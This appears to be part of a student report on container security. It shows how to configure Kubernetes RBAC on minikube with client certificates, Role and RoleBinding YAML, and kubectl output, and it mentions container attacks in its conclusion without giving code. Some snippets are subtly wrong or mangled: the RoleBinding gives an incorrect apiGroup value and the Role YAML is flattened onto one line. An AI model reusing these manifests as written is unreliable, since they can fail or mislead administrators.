To configure RBAC in a Kubernetes environment, we first create a cluster. Every cluster includes a control plane and different nodes. The control plane ensures the proper communication and ensures the functionality of all components in the Kubernetes cluster. We can send commands to the control plane through the Kubernetes API it hosts. The nodes are individual VM's in the Kubernetes cluster, which are created with defined container images. These containers are encapsulated in pods.

To create a cluster, we run the command:

```
minikube start
```

We now have a new cluster, a single node and the control plane set up with the API. The API allows us to send commands to the control plane to perform changes and communication between the different objects in the Kubernetes cluster. This is important to note, as Kubernetes contains an API group specific for setting up the RBAC policies for the Kubernetes cluster.

We can now create different users to take on the different RBAC roles we will develop later. To create a new user, we first need to set up authentication with the Kubernetes API server. We first generate a private key with OpenSSL library, we then create a client sign request and generate a valid certificate using the Kubernetes' cluster certificate authority. Each cluster has a certificate authority file, ca.crt. This is done with the command:

```
kubectl config set-credentials user1 --client-certificate=user1.crt --client-key=user1.key
```

User1 credentials was not set up with the proper certificate authority, therefore it will be denied access, and receive 403 forbidden responses when requesting from the API server. Minikube user is a root user. Kubernetes minikube has access, new user user1 does not.

```
C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl config use-context minikube
Switched to context "minikube".

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get nodes
NAME        STATUS    ROLES    AGE   VERSION
minikube    Ready     control-plane  4h2m  v1.28.3

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl config use-context user1-context
Switched to context "user1-context".

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get nodes
error: You must be logged in to the server (Unauthorized)
```

Creating a new user2 with the cluster's certificate authority:

```
C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>openssl x509 -req -in user2.csr -CA "C:\Users\Nicholas\minikube\ca.crt" -CAkey "C:\Users\Nicholas\minikube\ca.key" -CAcreateserial -out user2.crt -days 500
Certificate request self-signature ok
subject=CN=user2, O=group2

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl config set-credentials user2 --client-certificate=user2.crt --client-key=user2.key
User "user2" set.

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl config set-context user2-context --cluster=minikube --user=user2
Context "user2-context" created.
```

User2 has no authority, however the server will at least authenticate it since the server recognizes it as a user, as it was established with the correct certificate authority.

```
C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl create namespace ns-test
Error from server (Forbidden): namespaces is forbidden: User "user2" cannot create resource "namespaces" in API group "" at the cluster scope

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get pods
Error from server (Forbidden): pods is forbidden: User "user2" cannot list resource "pods" in API group "" in the namespace "default"
```

User2 cannot access or send queries regarding any of the objects in the Kubernetes cluster. No access to check the pods, cannot create anything nor get the names of the events or deployments. It does not have any rights.

## Granting Roles

We will now illustrate how to define roles and bind those roles to specific users. We grant users privileges based on their role. We can create a set of roles using a Role.yaml file.

<pre>kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata:   namespace: default   name: pod-reader rules: - apiGroups: [""]   resources: ["pods"]   verbs: ["get", "watch", "list"]</pre>	<p>This role encompasses the default namespace and is named pod-reader. As the name suggests, the users granted this role will be able to read the information from the pods. Note, we have generated other roles, specifically roles gave different verbs (i.e rights) to different resources. For example, roles allow users to only read deployments,</p>
---	--

create new namespaces, update secrets, delete pods and delete deployments. These were all included in the Role.yaml. Other verbs include get, list, watch, create, delete, update, edit, exec. In addition, these verbs offer privileges against the different types of resources, namely pods, deployments, namespaces, secrets, configmap, service and persistent volume.

We have only defined the roles in the RBAC in our cluster, however we have not specified which roles belong to which users. This is done with a RoleBinding.yaml file.

```
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: read-pods
  namespace: default
subjects:
- kind: User
  name: user2
  apiGroup: rbac.authorization.k8s.io/v1
roleRef:
  kind: Role
  name: pod-reader # => one of the roles we developed earlier
  apiGroup: rbac.authorization.k8s.io/v1
```

As seen in the above figure, we have binded the role pod-reader defined before to user2, in the default namespace.

We can now set up the roles with the following commands:

```
kubectl apply -f Role.yaml
```



```
kubectl apply -f RoleBinding.yaml
```

We can then view the different roles and role bindings with the two commands:

```
kubectl get roles
```

```
kubectl get rolebindings
```

Success! User 2 is given permission to read the pods. User 3 can delete deployments and create namespaces. However, user2 nor user3 can read deployments, as their role is not defined to read deployments.

```
C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get roles
NAME                               CREATED AT
create-namespaces                 2024-04-19T00:48:13Z
delete-deploy                    2024-04-19T00:54:42Z
delete-pod                      2024-04-19T00:55:47Z
deploy-reader                    2024-04-19T00:43:02Z
pod-reader                      2024-04-10T04:50:31Z

C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get rolebindings
NAME                               ROLE                               AGE
create-namespaces                 Role/create-namespaces           19s
delete-deploy                    Role/delete-deploy               86s
read-deploy                      Role/deploy-reader               2m47s
read-pods                        Role/pod-reader                  8d
```

NAME	READY	STATUS	RESTARTS	AGE
hello-node-ccf4b9788-f8jdl	1/1	Running	1 (3h2m ago)	6h10m
rbac-node-554f59b85b-g2ml8	1/1	Running	1 (3h2m ago)	6h9m

```
C:\Users\Nicholas\Desktop\Concordia\Masters\INSE 6130\Kubernetes>kubectl get deployment
Error from server (Forbidden): deployments.apps is forbidden: User "user2" cannot list resource "deployments" in API group "apps" in the namespace "default"
```

We have successfully set up Role-Based Access Control in the Kubernetes cluster. We have shown the set up for users, roles and the conflation of the permissions with the users. The Kubernetes cluster's permissions are defined as we want, to ensure a secure container and environment.

## Conclusion

Through this project, our team explored and addressed some of the most pressing challenges and vulnerabilities in software containerization. We performed a comprehensive evaluation of container security, focusing on vulnerabilities like the runc exploit, cr8escape, Kubernetes MITM, Docker image backdooring, and privilege escalation threats. By implementing a variety of attacks and subsequently deploying mitigative measures, the team not only exposed the inherent risks associated with container technologies but also showcased effective strategies for bolstering container security.

The project findings highlight the criticality of maintaining up-to-date software to prevent vulnerabilities, the necessity of following best practices for container configuration, and the importance of employing robust security measures such as user namespace remapping, cgroups, AppArmor policies, and Kubernetes RBAC. These strategies collectively contribute to a defense-in-depth approach, ensuring a layered security posture that is much needed in today's complex IT landscapes.

As the significance of containers continue to grow, understanding and mitigating the associated security risks becomes critical. This project demonstrates the importance of hands-on experience and the proactive identification and remediation of security vulnerabilities in containerized environments. Through continuous learning, vigilant patching, and the application of comprehensive security measures, the integrity of container platforms can be preserved, safeguarding the critical applications they host.

# References

[1] [Application Container Market Size & Share Analysis - Growth Trends & Forecasts \(2023 - 2028\)](#) ([reportlinker.com](#))

[2] A. Bettini, "Vulnerability exploitation in docker container environments", FlawCheck, Black Hat Europe, 2015 ([BHEU-Bettini-Docker-Exploitation \(blackhat.com\)](#))